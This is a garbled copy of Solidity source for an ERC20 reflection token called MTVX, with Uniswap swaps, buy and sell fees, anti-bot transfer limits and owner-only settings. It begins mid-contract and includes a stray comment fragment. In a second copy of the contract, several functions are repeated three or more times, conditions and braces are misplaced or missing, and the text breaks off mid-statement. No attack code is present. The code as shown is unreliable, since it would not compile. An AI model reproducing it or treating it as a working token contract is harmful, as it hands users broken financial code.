recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) external view returns (bool) { return _isExcluded[account]; } function totalFees() external view returns (uint256) { return _tFeeTotal; } // remove limits after token is stable - 30-60 minutes function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapAndLiquifyEnabled = true; tradingActiveBlock = block.number; } function minimumTokensBeforeSwapAmount() external view returns (uint256) { return minimumTokensBeforeSwap; } // change the minimum amount of tokens to sell from fees function updateMinimumTokensBeforeSwap(uint256 newAmount) external onlyOwner{ require(newAmount >= _tTotal * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= _tTotal * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); minimumTokensBeforeSwap = newAmount; } function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (_tTotal * 2 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.2%"); maxTransactionAmount = newNum * (10**18); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; _isExcludedMaxTransactionAmount[pair] = value; if(value){excludeFromReward(pair);} if(!value){includeInReward(pair);} } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 300); gasPriceLimit = gas * 1 gwei; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address."); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) public onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; // swap and liquify if ( !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { // Buy if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } // Sell else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function swapBack() private lockTheSwap { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap; bool success; // prevent overly large contract sells. if(contractBalance >= minimumTokensBeforeSwap * 20){ contractBalance = minimumTokensBeforeSwap * 20; } if(contractBalance == 0 || totalTokensToSwap == 0) {return;} // Halve the amount of liquidity tokens uint256 tokensForLiquidity = contractBalance * _liquidityTokensToSwap / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity); uint256 initialETHBalance = address(this).balance; swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing; _liquidityTokensToSwap = 0; _marketingTokensToSwap = 0; if(tokensForLiquidity > 0 && ethForLiquidity > 0){ addLiquidity(tokensForLiquidity, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } // send remainder to marketing (success,) = address(marketingAddress).call{value: address(this).balance}(""); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityAddress, block.timestamp ); } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { if(buyOrSellSwitch == BUY){ _liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee; } else if(buyOrSellSwitch == SELL){ _liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee; _marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee; } uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10000); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10000); } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) external view returns (bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; emit ExcludeFromFee(account); } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; emit IncludeInFee(account); } function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee) external onlyOwner { _buyTaxFee = buyTaxFee; _buyLiquidityFee = buyLiquidityFee; _buyMarketingFee = buyMarketingFee; require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 1500, "Must keep buy taxes below 15%"); emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee); } function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee) external onlyOwner { _sellTaxFee = sellTaxFee; _sellLiquidityFee = sellLiquidityFee; _sellMarketingFee = sellMarketingFee; require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 3000, "Must keep sell taxes below 30%"); emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee); } function setMarketingAddress(address _marketingAddress) external onlyOwner { require(_marketingAddress != address(0), "_marketingAddress address cannot be 0"); _isExcludedFromFee[marketingAddress] = false; marketingAddress = payable(_marketingAddress); _isExcludedFromFee[marketingAddress] = true; emit UpdatedMarketingAddress(_marketingAddress); } function setLiquidityAddress(address _liquidityAddress) public onlyOwner { require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0"); liquidityAddress = payable(_liquidityAddress); _isExcludedFromFee[liquidityAddress] = true; emit UpdatedLiquidityAddress(_liquidityAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } // To receive ETH from uniswapV2Router when swapping receive() external payable {} function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) { require(_token != address(0), "_token address cannot be 0"); require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); emit TransferForeignToken(_token, _contractBalance); } // withdraw ETH if stuck before launch function withdrawStuckETH() external onlyOwner { require(!tradingActive, "Can only withdraw if trading hasn't started"); bool success; (success,) = address(msg.sender).call{value: address(this).balance}(""); } }
Anti-bot and anti-whale mappings and variables these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract. store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
contract MTVX is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public marketingAddress; address payable public devAddress; address payable public liquidityAddress; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; bool public transferDelayEnabled = true; bool public limitsInEffect = true; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 1e9 * 1e18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "MTVX"; string private constant _symbol = "MTVX"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 private _marketingFee; uint256 private _liquidityFee; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private constant BUY = 1; uint256 private constant SELL = 2; uint256 private constant TRANSFER = 3; uint256 private buyOrSellSwitch; uint256 public _buyTaxFee = 300; uint256 public _buyLiquidityFee = 500; uint256 public _buyMarketingFee = 400; uint256 public _sellTaxFee = 300; uint256 public _sellLiquidityFee = 500; uint256 public _sellMarketingFee = 400; uint256 public _liquidityTokensToSwap; uint256 public _marketingTokensToSwap; uint256 public maxTransactionAmount; mapping (address => bool) public _isExcludedMaxTransactionAmount; bool private gasLimitActive = true; mapping (address => bool) public automatedMarketMakerPairs; uint256 private minimumTokensBeforeSwap; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public tradingActive = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event SwapETHForTokens(uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); event SetAutomatedMarketMakerPair(address pair, bool value); event ExcludeFromReward(address excludedAddress); event IncludeInReward(address includedAddress); event ExcludeFromFee(address excludedAddress); event IncludeInFee(address includedAddress); event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee); event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee); event TransferForeignToken(address token, uint256 amount); event UpdatedMarketingAddress(address marketing); event UpdatedLiquidityAddress(address liquidity); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { address newOwner = address(msg.sender); _rOwned[newOwner] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _isExcludedFromFee[newOwner] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingAddress] = true; _isExcludedFromFee[liquidityAddress] = true; excludeFromMaxTransaction(newOwner, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromReward(address(this)); emit Transfer(address(0), newOwner, _tTotal); transferOwnership(newOwner); } function name() external pure returns (string memory) { return _name; } function symbol() external pure returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) external view returns (bool) { return _isExcluded[account]; } function totalFees() external view returns (uint256) { return _tFeeTotal; } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function enableTrading() external onlyOwner { tradingActive = true; swapAndLiquifyEnabled = true; tradingActiveBlock = block.number; } function minimumTokensBeforeSwapAmount() external view returns (uint256) { return minimumTokensBeforeSwap; } function updateMinimumTokensBeforeSwap(uint256 newAmount) external onlyOwner{ require(newAmount >= _tTotal * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= _tTotal * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); minimumTokensBeforeSwap = newAmount; } function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (_tTotal * 2 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.2%"); maxTransactionAmount = newNum * (10**18); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; _isExcludedMaxTransactionAmount[pair] = value; } if(value){excludeFromReward(pair);} if(!value){includeInReward(pair);} function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 300); gasPriceLimit = gas * 1 gwei; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } } else { function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address."); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address."); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) public onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function includeInReward(address account) public onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function includeInReward(address account) public onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee + _sellMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = SELL; } } } _tokenTransfer(from, to, amount); restoreAllFee(); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingActive){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwapAndLiquify ){ if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; !inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && automatedMarketMakerPairs[to] && overMinimumTokenBalance ) { swapBack(); } removeAllFee(); buyOrSellSwitch = TRANSFER; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (automatedMarketMakerPairs[from]) { _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee + _buyMarketingFee; if(_liquidityFee > 0){ buyOrSellSwitch = BUY; } } else if (automatedMarketMakerPairs[to]) { _taxFee = 